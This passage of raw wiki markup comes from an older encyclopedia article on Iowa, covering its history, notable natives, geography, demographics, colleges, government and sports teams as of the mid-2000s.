*Iowa became the 29&lt;sup&gt;th&lt;/sup&gt; state in the union on [[December 28]], [[1846]].
*The [[Chicago and North Western Railway]] reached [[Council Bluffs, Iowa|Council Bluffs]] in [[1867]].  Council Bluffs was designated the eastern terminus for the [[Union Pacific Railroad]].  The completion of five major railroads across Iowa brought major economic changes as well as travel opportunities.
*During the [[American Civil War]], more than 75,000 Iowans participated in the war, 13,001 of whom died (mostly by disease).  Iowa had a higher percentage of soldiers serve in the Civil War, per capita, than any other state in the Union, with nearly 60% of eligible males serving.
*Iowa saw a large increase in farming of beef, corn, and pork during [[World War I]], but farmers saw economic hardships after the war.  These hardships were the result of the removal of war-time farm subsidies.  Total recovery did not happen until the [[1940s]].
*The Farm Crisis of the 1980's saw a major decline of family farms in Iowa and around the Midwest, and it was marked by a sharp drop in the state's rural population.
*Although Iowa's primary industry is agriculture, it also produces [[refrigerator]]s, [[washing machine]]s, [[fountain pen]]s, [[farm implement]]s, and food products that are shipped around the world.
*Iowa is also a major producer of [[ethanol]] and [[biodiesel]].
* Bergman, Marvin, ed. ''Iowa History Reader'' (1996) essays by scholars.
* Ross, Earl D. ''Iowa Agriculture: An Historical Survey'' (1951)
* Sage, Leland. ''A History of Iowa'' (1974)
* Schwieder, Dorothy. ''Iowa: The Middle Land'' (1996) excellent scholarly history
* [http://www.questia.com/PM.qst?a=o&amp;d=106261030 Wall, Joseph Frazier. ''Iowa: A Bicentennial History'' (1978)]

===Famous Iowans===
The following is an alphabetical list of famous people born in Iowa (who don't necessarily live in Iowa) as well as famous Iowans in general.
{| class=&quot;wikitable&quot;
|-
! Name !! Occupation !! Description
|-
| [[James Van Allen]] || Scientist || Born in [[Mount Pleasant, Iowa|Mount Pleasant]] in [[1914]].
|-
| [[Tom Arnold]] || Film actor || Born in [[Ottumwa, Iowa|Ottumwa]] on [[6 March]] [[1959]].
|-
| [[Buffalo Bill]] ||  || Born William Frederick Cody near [[Le Claire, Iowa|Le Claire]] in [[1846]].
|-
| [[Bill Bryson]] || Popular writer of travel books || Born in [[Des Moines, Iowa|Des Moines]] in [[1951]].
|-
| [[Norman Ernest Borlaug]] || [[Nobel Peace Prize]] laureate || Born near [[Cresco, Iowa|Cresco]] on March 25, [[1914]].
|-
| [[Johnny Carson]] || Comedian || Born in [[Corning, Iowa|Corning]] on [[23 October]] [[1925]].
|-
| [[Mamie Eisenhower]] || Wife of [[President Dwight D. Eisenhower]] || Born in [[Boone, Iowa|Boone]] in [[1896]].
|-
| [[Hayden Fry]] || [[National Collegiate Athletic Association|College football]] coach of the [[Iowa Hawkeyes Football|Iowa Hawkeyes]] || Coached into national prominence with several [[Rose Bowl Game]] appearances and high national rankings throughout his tenure.
|-
| [[George Gallup]] || American statistician; inventor of the [[Gallup poll]] || Born in [[Jefferson, Iowa|Jefferson]] in [[1901]].
|-
| [[Chad Hennings]] || [[NFL|American football]] player and US Air Force officer || Born in [[Elberon, Iowa|Elberon]] on [[October 20]], [[1965]].
|-
| [[Herbert Hoover]] || 31&lt;sup&gt;st&lt;/sup&gt; [[President of the United States]] || Born in [[West Branch, Iowa|West Branch]] in [[1874]].  He is also buried there.
|-
| [[Ashton Kutcher]] || Film and television actor || Born in [[Cedar Rapids, Iowa|Cedar Rapids]] on [[February 7]], [[1978]].
|-
| [[William D. Leahy]] || [[Five star admiral]] || Born in [[Hampton, Iowa|Hampton]] on [[May 6]], [[1875]].
|-
| [[F. L. Maytag|Frederick L. Maytag]] || [[Maytag]] founder || Lived his childhood years near [[Laurel, Iowa|Laurel]].
|-
| [[Robert Millikan]] || Physicist || Measured the charge of the [[electron]], spent part of his childhood in [[Maquoketa, Iowa|Maquoketa]]. 
|-
| [[Charles Murray]] || Co-author of the controversial best-seller ''[[the Bell Curve]]'' || Born in [[Newton, Iowa|Iowa]] on [[January 8]], [[1943]].
|-
| [[Harry Reasoner]] || Journalist || Born 17 Apr 1923 at [[Dakota City, Iowa]]
|-
| [[Sage Rosenfels]] || [[NFL]] quarterback || Born in [[Maquoketa, Iowa|Maquoketa]] in [[1978]] and played college football at [[Iowa State University]].
|-
| [[Slipknot (band)|Slipknot]] || Alternative metal/nu metal band || Formed in [[Des Moines, Iowa|Des Moines]].
|-
| [[Sullivan brothers]] ||  || Died together on the [[USS Juneau (CL-52)|USS Juneau]] during the [[Battle of Guadalcanal]], were born in [[Waterloo, Iowa|Waterloo]].
|-
| [[Billy Sunday]] || a professional [[baseball]] player; [[evangelism|evangelist]] || Born in [[Bina, Iowa|Bina]] in [[1862]] and lived in [[Glenwood, Iowa|Glenwood]], [[Nevada, Iowa|Nevada]], and [[Ames, Iowa|Ames]].
|-
| [[Grant Wood]] || [[Artist]] || Known mostly for his painting ''[[American Gothic]]'', was born in [[Anamosa, Iowa|Anamosa]] on [[13 February]], [[1891]].
|-
| [[Wright Brothers]] ||  || Lived for a short time in [[Cedar Rapids, Iowa|Cedar Rapids]] while their father was posted there as a bishop with the [[Church of the Brethren]].
|-
| [[Kurt Warner]] || [[NFL|American football]] player || Born in [[1971]] in [[Burlington, Iowa|Burlington]].
|-
| [[John Wayne]] || Film actor || Born as Marion Morrison in [[Winterset, Iowa|Winterset]] in [[1907]].
|-
| [[Elijah Wood]] || Film actor || Born in [[Cedar Rapids, Iowa|Cedar Rapids]] on [[January 28]], [[1981]].
|}

== Geography ==
[[Image:Iowa neighbors.jpg|thumb|Iowa neighbors]]
[[Image:National-atlas-iowa.png|thumb|Iowa map]]
[[Image:Iowa counties with names.jpg|thumb|Iowa counties]]
:''See [[List of counties in Iowa]], [[List of cities in Iowa]], [[List of townships in Iowa]] and [[List of Iowa rivers]]''
Iowa is bordered by [[Minnesota]] on the north, [[Nebraska]] and [[South Dakota]] on the west, [[Missouri]] on the south, and [[Wisconsin]] and [[Illinois]] on the east.

The [[Mississippi River]] forms the eastern boundary of the state. The boundary along the west is formed by the [[Missouri River]] south of [[Sioux City, Iowa|Sioux City]] and by the [[Big Sioux River]] north of Sioux City. There are several natural lakes in the state, most notably [[Spirit Lake (Iowa)|Spirit Lake]], [[West Okoboji Lake]], and [[East Okoboji Lake]] in northwest Iowa (''see [[Iowa Great Lakes]]''). Man-made lakes include Lake Odessa[http://www.iowadnr.com/fish/fishing/lakes/ode58.html], Saylorville Lake, Lake Red Rock, and Rathbun Lake. 

The topography of the state is gently rolling [[plains]]. [[Loess]] hills lie along the western border of the state. Some of these are several hundred feet thick. In the northeast along the Mississippi River is a section of the [[Driftless Zone]], which in Iowa consists of low rugged hills covered with conifers&amp;mdash;a landscape not usually associated with this state.

The point of lowest elevation (146 [[metre|m]]) is [[Keokuk, Iowa|Keokuk]] in southeastern Iowa. The point of highest elevation (509 [[metre|m]]) is Hawkeye Point, located in a feedlot north of [[Sibley, Iowa|Sibley]] in northwest Iowa. The mean elevation of the state is 335 [[metre|m]]. Considering the size of the state (145,743 [[square kilometre|km&amp;sup2;]]), there is very little elevation difference.

Iowa has 99 [[county|counties]]. The state capital, [[Des Moines, Iowa|Des Moines]], is located in [[Polk County, Iowa|Polk County]] ([[:Image:Iowa counties with numbers.jpg|#60]]).

National parks, etc.
*[[Effigy Mounds National Monument]]
*[[Herbert Hoover National Historical Site]]

=== Climate ===

Iowa experiences a highly [[Continental climate|continental]] climate, with extremes of both heat and cold being present.  The average annual temperature at [[Des Moines]] is 50.0° F (10.0° C); for some locations in the north the figure is under 45°, while Keokuk, on the [[Mississippi River]], averages 52.1°.  Winters are brisk and snowfall common, the capital receiving an average of 36.3 inches per season.  [[Spring]] ushers in the beginning of the [[severe weather]] season, as well as bringing increased precipitation and warming temperatures.  The Iowan [[summer]] is known for heat and humidity, with daytime temperatures sometimes exceeding 100° F (37.8° C).  

=== Interstate highways ===
These are the [[interstate highways]] that go through Iowa:
*[[Interstate 29|29]], [[Interstate 35|35]], [[Interstate 74|74]], [[Interstate 80|80]], [[Interstate 129|129]], [[Interstate 235 (Iowa)|235]], [[Interstate 280 (Illinois-Iowa)|280]], [[Interstate 380 (Iowa)|380]], [[Interstate 480 (Iowa-Nebraska)|480]], [[Interstate 680 (Iowa-Nebraska)|680]]

=== US highways ===
These are the [[U.S. Highway system|United States highways]] that go through Iowa:
*[[U.S. Highway 6|6]], [[U.S. Highway 18|18]], [[U.S. Highway 20|20]], [[U.S. Highway 30|30]], [[U.S. Highway 34|34]], [[U.S. Highway 52|52]], [[U.S. Highway 59|59]], [[U.S. Highway 61|61]], [[U.S. Highway 63|63]], [[U.S. Highway 65|65]], [[U.S. Highway 67|67]], [[U.S. Highway 69|69]], [[U.S. Highway 71|71]], [[U.S. Highway 75|75]], [[U.S. Highway 77|77]], [[U.S. Highway 136|136]], [[U.S. Highway 151|151]], [[U.S. Highway 169|169]], [[U.S. Highway 218|218]], [[U.S. Highway 275|275]]

=== Animals ===
These are some of the wild animals that can be found in Iowa:

{|-
|
*[[White-tailed deer]]
*[[Pheasant]]
*[[Quail]]
*[[Muskrat]]
*[[Raccoon]]
*[[Red fox]]
*[[Hare|Jackrabbit]]
*[[Cottontail]]
*[[Fox squirrel]]
*[[Gray squirrel]]
*[[Coyote]]
*[[American Beaver|Beaver]]
||
*[[Badger]]
*[[Weasel]]
*[[American Mink|Mink]]
*[[Eastern spotted skunk]]
*Striped [[skunk]]
*[[Gray fox]]
*[[Opossum]]
*[[Gopher]]
*[[Groundhog]]
*Mississauga [[rattlesnake]]
*[[Prairie rattlesnake]]
*[[Timber rattlesnake]]
|}

Iowa is home of 49 endangered &amp; 35 threatened animal species as well as 64 endangered &amp; 89 threatened plant species [http://www.iowadnr.com/education/wldresbs.html].

== Economy ==
[[Image:Bales of hay.jpg|thumb|right|Bales of hay on a farm near Ames, Iowa.]]
[[Image:Iowa quarter, reverse side, 2004.jpg|thumb|Iowa [[State Quarters|state quarter]] by [[Grant Wood]]]]
The state's total gross state product for 2003 was $103 billion. Its [[per capita income]] for 2003 was $28,340. Iowa's main agricultural outputs are [[pig|hogs]], [[maize|corn]], [[soybean]]s, [[oat]]s, [[cattle]] and [[dairy]] products. Its industrial outputs are food processing, machinery, electric equipment, chemical products, publishing and primary metals.  Iowa produces the nation's largest amount of [[ethanol]]. Des Moines also serves as a center for the insurance industry.

== Demographics ==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%; clear:right;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 43,112
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 192,214
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 674,913
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 1,194,020
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 1,624,615
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 1,912,297
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 2,231,853
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 2,224,771
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 2,404,021
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 2,470,939
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 2,538,268
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 2,621,073
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 2,757,537
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 2,824,376
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 2,913,808
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 2,776,755
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 2,926,324
|}

As of 2005, Iowa has an estimated population of 2,966,334, which is an increase of 13,430, or 0.5%, from the prior year and an increase of 39,952, or 1.4%, since the year 2000.  This includes a natural increase since the last census of 53,706 people (that is 197,163 births minus 143,457 deaths) and a decrease due to net migration of 11,754 people out of the state.  Immigration from outside the United States resulted in a net increase of 29,386 people, and migration within the country produced a net loss of 41,140 people.

According to the U.S. Census Bureau, as of 2004, Iowa's population included about 97,000 foreign-born (3.3%).

The racial makeup of the state is:
*92.6% [[Whites|White]] non-Hispanic
*2.1% [[Blacks|Black]]
*2.8% [[Hispanics|Hispanic]]
*1.3% [[Asian American|Asian]]
*0.3% [[Native American (U.S. Census)|Native American]]
*1.1% [[Mixed race]]

The five largest ancestry groups in Iowa are: [[German-American|German]] (35.7%), [[Irish American|Irish]] (13.5%), [[British American|English]] (9.5%), [[United States|American]] (6.6%), [[Norwegian-American|Norwegian]] (5.7%).

Iowans are mostly of [[Northern Europe|Northern European]] origin. There are large numbers of [[German-American]]s in the state (1 in 3 Iowans answered that they were of German ancestry on the 2000 Census), as well as people of British, Scandinavian, and Dutch ancestry, among others.

6.4% of Iowa's population were reported as under 5, 25.1% under 18, and 14.9% were 65 or older. Females made up approximately 50.9% of the population.

===&quot;Rural flight&quot;===
Iowa, in common with other Great Plains states (especially [[Kansas]], [[Nebraska]], [[Oklahoma]], [[North Dakota|North]] and [[South Dakota]]), is feeling the brunt of falling populations. 89% of the total number of cities in those states have fewer than 3000 people; hundreds have fewer than 1000. Between 1996 and 2004, almost half a million people, nearly half with college degrees, left the six states. ''&quot;Rural flight&quot;'' as it is called has led to offers of free land and tax breaks as enticements to newcomers.

===Religion===
Most Iowans are [[Protestant]] Christians, with [[Lutheranism]] being the largest single Protestant denomination, followed by Methodist.  The state has the second largest population of Reformed Christians, both RCA and CRC.

The religious affiliations of the people of Iowa are:

*[[Christianity|Christian]] &amp;ndash; 86%
**[[Protestantism|Protestant]] &amp;ndash; 62%
***[[Lutheranism|Lutheran]] &amp;ndash; 17%
***[[Methodism|Methodist]] &amp;ndash; 14%
***[[Baptist]] &amp;ndash; 5%
***[[Presbyterianism|Presbyterian]] &amp;ndash; 3%
***[[Reformed churches|Reformed]] &amp;ndash; 2%
***[[Congregational church|Congregational]]/[[United Church of Christ]] &amp;ndash; 2%
***Other Protestant or general Protestant &amp;ndash; 19%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 23%
**Other Christian &amp;ndash; 1%
*Other Religions &amp;ndash; &lt;1%
*Non-Religious &amp;ndash; 14%


{{US state symbols |
  Name              = Iowa |
  Flag              = Iowa state flag.png |
  Seal              = Iowastateseal.jpg |
  Nickname          = The Hawkeye State |
  Capital           = [[Des Moines, Iowa|Des Moines]] |
    Animal          = None |
    Bird            = [[American Goldfinch|Eastern Goldfinch]] |
    Butterfly       = None | 
    Fish            = Channel [[catfish]] (unofficial) |
    Flower          = Wild [[Rose]] |
    Furbearer       = None |
    Game            = None |
    Grass           = [[Bluebunch wheatgrass]] |
    Insect          = [[Honey Bee]] |
    Reptile         = None |
    Tree            = [[Oak]] |
  Wildflower        = None | 
  Beverage          = None | 
  Colors            = Red, white, and blue (in state flag) |
  Dance             = None | 
  Fossil            = [[Crinoid]] (proposed) |
  Gemstone          = None |
  Mineral           = None |
  Motto             = Our liberties we prize and our rights we will maintain |
  MusicalInstrument = None |
  StateRock         = [[Geode]] |
  Ships             = [[Iowa class battleship]], [[USS Iowa (BB-4)]], [[USS Iowa (BB-53)]], [[USS Iowa (BB-61)]] |
  Song              = ''The Song of Iowa'' |
  Soil              = [[Tama]] (unofficial) |
  Waltz             = None
}}

== Important cities and towns ==
{|-
!align=&quot;left&quot;|Population &gt; 100,000 (urbanized area)
!align=&quot;left&quot; colspan=&quot;3&quot;|Population &gt; 10,000 (urbanized area)
|-
|valign=top|
* [[Des Moines, Iowa|Des Moines]], state capital
* [[Cedar Rapids, Iowa|Cedar Rapids]]
* [[Davenport, Iowa|Davenport]], home of [[Saint Ambrose University]]
* [[Sioux City, Iowa|Sioux City]]
* [[Waterloo, Iowa|Waterloo]]
* [[Iowa City, Iowa|Iowa City]], home of [[University of Iowa]]
* [[Council Bluffs, Iowa|Council Bluffs]]
|valign=top|
* [[Dubuque, Iowa|Dubuque]], college town, manufacturing center, river port
* [[Ames, Iowa|Ames]], home of [[Iowa State University]]
* [[West Des Moines, Iowa|West Des Moines]], suburb and insurance center
* [[Cedar Falls, Iowa|Cedar Falls]], suburb and college town
* [[Clinton, Iowa|Clinton]], industrial river town
* [[Burlington, Iowa|Burlington]], industrial river town
* [[Mason City, Iowa|Mason City]], close to Clear Lake, industrial town
* [[Marshalltown, Iowa|Marshalltown]], near center, industrial town
* [[Fort Dodge, Iowa|Fort Dodge]], industrial town on Des Moines River
* [[Ottumwa, Iowa|Ottumwa]], main commercial center of southeastern Iowa
|valign=top|
* [[Muscatine, Iowa|Muscatine]], location of many chemical plants
* [[Newton, Iowa|Newton]], Maytag washers made here
* [[Keokuk, Iowa|Keokuk]], river port in extreme southeast
* [[Pella, Iowa|Pella]], Pella Windows headquarters, Central College, Wyatt Earp childhood home, Tulip Fest

|-
!align=&quot;left&quot;|Other Cities
|-
|colspan=4|
* [[Bettendorf, Iowa|Bettendorf]] part of the [[Quad Cities]]
* [[Cedar Falls, Iowa|Cedar Falls]], home of the [[University of Northern Iowa]] (part of [[Waterloo, Iowa|Waterloo]] metropolis)
* [[Fayette, Iowa|Fayette]], home of [[Upper Iowa University]]
|}

== Education ==
Iowa has historically placed a strong emphasis on education, which is shown in standardized testing scores. In 2003, Iowa had the second highest average [[SAT]] scores by state, and tied for second highest average [[ACT (examination)|ACT]] scores in states where more than 20% of graduates were tested. The national office of ACT is in [[Iowa City, Iowa|Iowa City]], and the [[ITBS]] and [[ITED]] testing programs used in many states are provided by the [[University of Iowa]].

An overhaul of the current education system is being discussed. One of the suggested ideas is switching from 180 days to a year-round school system. [http://www.whotv.com/Global/story.asp?S=3447742]

===State universities===
*[[Iowa State University]]
*[[University of Iowa]]
*[[University of Northern Iowa]]

===Independent colleges and universities===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
*[[Ashford University]]
*[[Briar Cliff University]]
*[[Buena Vista University]]
*[[Central College]]
*[[Clarke College]]
*[[Coe College]]
*[[Cornell College]]
*[[Divine Word College]]
*[[Dordt College]]
*[[Drake University]]
*[[Emmaus Bible College]]
*[[Faith Baptist Bible College]]
*[[Graceland University]]
*[[Grand View College]]
*[[Grinnell College]]
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[Iowa Wesleyan College]]
*[[Loras College]]
*[[Luther College]]
*[[Maharishi University of Management]]
*[[Morningside College]]
*[[Mount Mercy College]]
*[[Northwestern College of Iowa|Northwestern College]]
*[[Simpson College]]
*[[Saint Ambrose University]]
*[[University of Dubuque]]
*[[Upper Iowa University]]
*[[Vennard College]]
*[[Waldorf College]]
*[[Wartburg College]]
*[[William Penn University]]
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

===Community colleges===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
*[[Clinton Community College, Iowa|Clinton Community College]]
*[[Des Moines Area Community College]]
*[[Ellsworth Community College]]
*[[Hawkeye Community College]]
*[[Indian Hills Community College]]
*[[Iowa Central Community College]]
*[[Iowa Lakes Community College]]
*[[Iowa Western Community College]]
*[[Kirkwood Community College]]
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[Marshalltown Community College]]
*[[Muscatine Community College]]
*[[North Iowa Area Community College]]
*[[Northeast Iowa Community College]]
*[[Northwest Iowa Community College]]
*[[Scott Community College]]
*[[Southeastern Community College]]
*[[Southwestern Community College]]
*[[Western Iowa Community College]]
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

===Professional business and technical colleges and universities===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
*[[AIB College of Business]]
*[[Allen College of Nursing]]
*[[Des Moines University]]
*[[Hamilton College (Iowa)|Hamilton College]]
*[[Kaplan College]]
*[[Mercy College of Health Sciences]]
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[Palmer College of Chiropractic]]
*[[St. Luke's College of Nursing and Health Sciences]]
*[[Vatterott College]]
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== Law and government ==
{| align=&quot;right&quot;
|-
| [[Image:wiki_iowa.jpg|thumb|350px|Iowan stamp]]
|-
| [[Image:Iauds.jpg|thumb|right|Current sample [[Iowa]] [[license plate]]]]
|}
The state [[capital]] is [[Des Moines, Iowa|Des Moines]]. The current Governor is [[Tom Vilsack]] (Democrat) and the two U.S. Senators:
*[[Chuck Grassley]] (R)
*[[Tom Harkin]] (D)
The five U.S. Congressmen:
*[[Jim Leach]] (R)
*[[Jim Nussle]] (R)
*[[Steve King]] (R)
*[[Tom Latham]] (R)
*[[Leonard Boswell]] (D)

The '''Code of Iowa''' contains the [[statutory law]]s of the State of Iowa.  The [[Iowa Legislative Service Bureau]] is a non-partisan governmental agency that is responsible for organizing, updating and publishing the Iowa Code.  The Iowa Code is republished in full in odd years (i.e., 1999, 2001, 2003, etc..) and is supplemented in even years.

Iowa has a liberal populist tradition but now is fairly evenly divided between the two major political parties.  The state supported Democrats in the presidential contests from 1988 through 2000.  It was one of only two states that supported Democrat Al Gore that switched to supporting George W. Bush in 2004.  President Bush narrowly won the state's 7 electoral votes by a margin of 0.7 percentage points with 49.9% of the vote.  Democratic strength is concentrated in the eastern region of the state and in Des Moines. 

Iowa is an alcohol monopoly or [[Alcoholic beverage control state]].  

:''See [[List of Governors of Iowa]], [[Iowa General Assembly]], and [[Iowa State Capitol]]''

===Iowa Presidential caucus===
The state gets considerable attention every four years because of its first in the nation presidential [[Iowa caucus|caucus]], a gathering of voters to select delegates to the state convention. Along with the [[New Hampshire primary]] a week later, it has become the starting gun for choosing the two major-party candidates for president. The caucus, held in January of the election year, involves people gathering in homes or public places and choosing their candidate, rather than casting secret ballots, as is done in a [[Presidential primary|primary]] [[election]]. The national and international media give Iowa (and New Hampshire) about half of all the attention accorded the national candidate selection process, which gives the voters enormous leverage.  Some candidates decide to skip the Iowa caucus, especially those who oppose ethanol subsidies, and use their resources in other early states such as New Hampshire and South Carolina. Those who enter the caucus expend enormous effort to reach voters in each of Iowa's 99 counties.

===U.S. senators from Iowa===
[[List of United States Senators]] who have represented Iowa:

{| cellpadding=4 cellspacing=2 border=&quot;1&quot; style=&quot;border-collapse: collapse;&quot;
|+ Seat 1
|- bgcolor=&quot;#CCCCCC&quot;
! Senator !! Took Office !! Left Office !! Party
|- bgcolor=&quot;#FFE8E8&quot;
| [[Chuck Grassley]] || [[1981]] || present || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[John Culver]] || [[1975]] || [[1981]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Harold E. Hughes]] || [[1969]] || [[1975]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Bourke B. Hickenlooper]] || [[1945]] || [[1969]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Guy M. Gillette]] || [[1936]] || [[1945]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Richard Louis Murphy]] || [[1933]] || [[1936]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Smith W. Brookhart]] || [[1927]] || [[1933]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[David W. Stewart]] || [[1926]] || [[1927]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Albert B. Cummins]] || [[1908]] || [[1926]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[William B. Allison]] || [[1873]] || [[1908]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[James Harlan (Iowa Senator)|James Harlan]] || [[1867]] || [[1873]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Samuel J. Kirkwood]] || [[1865]] || [[1867]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[James Harlan (Iowa Senator)|James Harlan]] || [[1855]] || [[1865]] || [[Free Soil Party|Free Soil]] and&lt;BR /&gt;[[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Augustus C. Dodge]] || [[1848]] || [[1855]] || [[United States Democratic Party|Democrat]]
|}
[[Image:Iowa capitol.jpg|thumb|250px|Capitol in [[2003]] after regilding]]
{| cellpadding=4 cellspacing=2 border=&quot;1&quot; style=&quot;border-collapse: collapse;&quot;
|+ Seat 2
|- bgcolor=&quot;#CCCCCC&quot;
! Senator !! Took Office !! Left Office !! Party
|- bgcolor=&quot;#DDEEFF&quot;
| [[Tom Harkin]] || [[1985]] || present || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Roger Jepsen]] || [[1979]] || [[1985]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Dick Clark (Senator)|Dick Clark]] || [[1973]] || [[1979]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Jack R. Miller]] || [[1961]] || [[1973]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Thomas E. Martin]] || [[1955]] || [[1961]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Guy M. Gillette]] || [[1949]] || [[1955]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[George A. Wilson]] || [[1943]] || [[1949]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Clyde L. Herring]] || [[1937]] || [[1943]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[L.J. Dickinson]] || [[1931]] || [[1937]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Daniel F. Steck]] || [[1926]] || [[1931]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Smith W. Brookhart]] || [[1922]] || [[1926]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Charles A. Rawson]] || [[1922]] || [[1922]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[William S. Kenyon]] || [[1911]] || [[1922]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[Lafayette Young]] || [[1910]] || [[1911]] || [[United States Democratic Party|Democrat]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Jonathan P. Dolliver]] || [[1900]] || [[1910]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[John H. Gear]] || [[1895]] || [[1900]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[James F. Wilson]] || [[1883]] || [[1895]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[James W. McDill]] || [[1881]] || [[1883]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[Samuel J. Kirkwood]] || [[1877]] || [[1881]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[George G. Wright]] || [[1871]] || [[1877]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[James B. Howell]] || [[1870]] || [[1871]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#FFE8E8&quot;
| [[James W. Grimes]] || [[1859]] || [[1869]] || [[United States Republican Party|Republican]]
|- bgcolor=&quot;#DDEEFF&quot;
| [[George W. Jones]] || [[1848]] || [[1859]] || [[United States Democratic Party|Democrat]]
|}

== Professional sports teams ==
The [[minor league baseball|Minor League baseball teams]] are:
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
*[[Iowa Cubs]] (AAA, [[Pacific Coast League]])
*[[Cedar Rapids Kernels]] (A, [[Midwest League]])
*[[Burlington Bees]] (A, [[Midwest League]])
*[[Clarinda A's]] (collegiate summer)
 &lt;/td&gt;&lt;td valign=top&gt;
*[[Clinton LumberKings]] (A, [[Midwest League]])
*[[Swing of the Quad Cities]] (A, [[Midwest League]])
*[[Waterloo Bucks]] (collegiate summer)
*[[Sioux City Explorers]] ([[Northern League]], independent)
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

The [[minor league hockey|Minor League hockey teams]] are:
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
*[[Iowa Stars]]
*[[Cedar Rapids RoughRiders]]
*[[Waterloo Blackhawks]]
*[[Omaha Lancers]] (located in Council Bluffs)
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[Des Moines Buccaneers]]
*[[Sioux City Musketeers]]
*[[Quad City Mallards]]

 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

The [[United Soccer Leagues|Minor League soccer teams]] are:
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
*[[Des Moines Menace]] ([[USL Premier Development League]]; amateur)
 &lt;/td&gt;&lt;td valign=top&gt; 

 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== External links ==
{{commons|Category:Iowa}}
*http://www.iowa.gov/
*[http://www.HavenWorks.com/iowacentric Iowa News.]
*[http://quickfacts.census.gov/qfd/states/19000.html U.S. Census Bureau]
